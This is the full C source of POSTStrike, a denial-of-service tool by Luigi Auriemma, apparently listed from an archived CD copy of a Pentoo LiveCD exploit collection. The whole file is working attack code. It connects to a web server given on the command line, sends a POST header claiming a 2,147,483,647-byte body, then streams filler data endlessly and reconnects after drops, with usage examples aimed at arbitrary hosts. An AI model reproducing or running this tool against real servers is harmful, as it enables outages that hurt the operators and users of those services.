home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / halflife / poststrike.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  263 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. This source is covered by GNU/GPL
  6.  
  7. UNIX & WIN VERSION
  8. */
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13. #include <time.h>
  14.  
  15. #ifdef WIN32
  16.     #include <winsock.h>
  17.     #include "winerr.h"
  18.  
  19.     #define close   closesocket
  20.     #define sleepx  sleep
  21.     #define MILLS   1           // 1 second = 1000
  22. #else
  23.     #include <unistd.h>
  24.     #include <sys/socket.h>
  25.     #include <sys/types.h>
  26.     #include <arpa/inet.h>
  27.     #include <netdb.h>
  28.     #define sleepx  usleep
  29.     #define MILLS   1000        // 1 second = 1000000
  30. #endif
  31.  
  32.  
  33.  
  34.  
  35. #define VER     "0.1"
  36. #define PORT    80
  37. #define SENDSZ  4096
  38. #define REQSZ   512
  39. #define TIMESEC 5
  40. #define REQ     "POST / HTTP/1.0\r\n" \
  41.                 "Host: %s\r\n" \
  42.                 "Content-Length: 2147483647\r\n" \
  43.                 "\r\n"
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51. u_long resolv(char *host);
  52. void std_err(void);
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61. int main(int argc, char *argv[]) {
  62.     u_char  *sendme = 0,
  63.             *req = 0,
  64.             *host = 0,
  65.             *tmp = 0,
  66.             btype = 0;
  67.     struct  sockaddr_in     peer;
  68.     int     sd,
  69.             err,
  70.             reqlen,
  71.             shiterr = 1,
  72.             millisec = 0;
  73.     u_long  tot;
  74.     u_short port = PORT;
  75.     clock_t start,
  76.             stop;
  77.  
  78.  
  79.     setbuf(stdout, NULL);
  80.  
  81.     fputs("\n"
  82.         "POSTStrike "VER"\n"
  83.         "by Luigi Auriemma\n"
  84.         "e-mail: aluigi@altervista.org\n"
  85.         "web:    http://aluigi.altervista.org\n"
  86.         "\n", stdout);
  87.  
  88.     if(argc < 2) {
  89.         printf("\n"
  90.             "Usage: %s [options] <[http://]server[:port(%d)]>\n"
  91.             "\n"
  92.             "Options:\n"
  93.             "-m NUM   milliseconds to wait each time after the sending of %d bytes of data\n"
  94.             "         (default %d) (useful to limit your bandwith)\n"
  95.             "-b       upload bandwidth: shows \"bytes per second\" instead of kilobytes\n"
  96.             "\n\n"
  97.             "Examples:\n"
  98.             "  poststrike http://www.whatyouwant.com:8080\n"
  99.             "  poststrike -m 500 127.0.0.1      (500 = half second)\n"
  100.             "  poststrike -m 100 -t 127.0.0.1      (500 = half second)\n"
  101.             "\n"
  102.             "Note: is possible that NOT all the webservers allow this type of attack, so\n"
  103.             "the tool will terminate itself if it receives 5 errors\n"
  104.             "\n", argv[0], PORT, SENDSZ, MILLS);
  105.         exit(1);
  106.     }
  107.  
  108.  
  109.     argc--;
  110.     for(err = 1; err < argc; err++) {
  111.         switch(argv[err][1]) {
  112.             case 'm': millisec = atoi(argv[++err]); break;
  113.             case 'b': btype = 1; break;
  114.             default: {
  115.                 printf("\nError: Wrong argument (%s)\n", argv[err]);
  116.                 exit(1);
  117.             }
  118.         }
  119.     }
  120.  
  121.  
  122.  
  123. #ifdef WIN32
  124.     WSADATA    wsadata;
  125.     WSAStartup(MAKEWORD(1,0), &wsadata);
  126. #endif
  127.  
  128.  
  129.         /* URL, host, port, uri */
  130.     host = strstr(argv[argc], "//");
  131.     if(host) host += 2;
  132.        else host = argv[argc];
  133.     tmp = strchr(host, '/');
  134.     if(tmp) *tmp = 0x00;
  135.     tmp = strrchr(host, ':');
  136.     if(tmp) {
  137.         port = atoi(tmp + 1);
  138.         *tmp = 0x00;
  139.     }
  140.  
  141.  
  142.  
  143.     peer.sin_addr.s_addr = resolv(host);
  144.     peer.sin_port        = htons(port);
  145.     peer.sin_family      = AF_INET;
  146.  
  147.  
  148.     printf("\n"
  149.         "Host:  %s\n"
  150.         "Port:  %hu\n"
  151.         "delay: %d ms\n"
  152.         "\n", inet_ntoa(peer.sin_addr), port, millisec);
  153.  
  154.     millisec *= MILLS;
  155.  
  156.  
  157.  
  158.         /* alloc */
  159.  
  160.     req = malloc(REQSZ + 1);
  161.     if(!req) std_err();
  162.     reqlen = snprintf(
  163.         req,
  164.         REQSZ,
  165.         REQ,
  166.         host);
  167.  
  168.  
  169.  
  170.     sendme = malloc(SENDSZ + 1);
  171.     if(!sendme) std_err();
  172.     memset(sendme, 'a', SENDSZ);
  173.  
  174.  
  175.  
  176.     while(1) {
  177.  
  178.         sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  179.         if(sd < 0) std_err();
  180.  
  181.         fputs("Connecting...", stdout);
  182.         err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
  183.         if(err < 0) std_err();
  184.         fputs("ok. Starting to send data\n", stdout);
  185.  
  186.  
  187.         err = send(sd, req, reqlen, 0);
  188.         if(err < 0) std_err();
  189.  
  190.  
  191.         tot = 0;
  192.         start = time(0);
  193.         while(1) {
  194.             err = send(sd, sendme, SENDSZ, 0);
  195.             if(err < SENDSZ) {
  196.                 printf("\nAlert: connection terminated. If you receive other messages like this, it means you cannot use the POST attack versus this server (%d)\n\n", shiterr++);
  197.                 if(shiterr <= 5) {
  198.                     break;
  199.                 } else {
  200.                     fputs("\nError: sorry the server doesn't allow POST attacks\n\n", stdout);
  201.                     close(sd);
  202.                     exit(1);
  203.                 }
  204.             }
  205.  
  206.             sleepx(millisec);
  207.  
  208.  
  209.             tot += err;
  210.             stop = time(0) - start;
  211.             if(stop > TIMESEC) {
  212.                 if(btype) printf("%10lu bytes/s\r", tot / stop);
  213.                     else printf("%10lu kb/s\r", (tot / stop) >> 10);
  214.                 tot = 0;
  215.                 start = time(0);
  216.             }
  217.         }
  218.  
  219.         close(sd);
  220.     }
  221.  
  222.  
  223.     return(0);
  224. }
  225.  
  226.  
  227.  
  228.  
  229.  
  230.  
  231.  
  232. u_long resolv(char *host) {
  233.     struct        hostent    *hp;
  234.     u_long        host_ip;
  235.  
  236.     host_ip = inet_addr(host);
  237.     if(host_ip == INADDR_NONE) {
  238.         hp = gethostbyname(host);
  239.         if(!hp) {
  240.             printf("\nError: Unable to resolve hostname (%s)\n",
  241.                 host);
  242.             exit(1);
  243.         } else host_ip = *(u_long *)(hp->h_addr);
  244.     }
  245.  
  246.     return(host_ip);
  247. }
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254. #ifndef WIN32
  255.     void std_err(void) {
  256.         perror("\nError");
  257.         exit(1);
  258.     }
  259. #endif
  260.  
  261.  
  262.  
  263.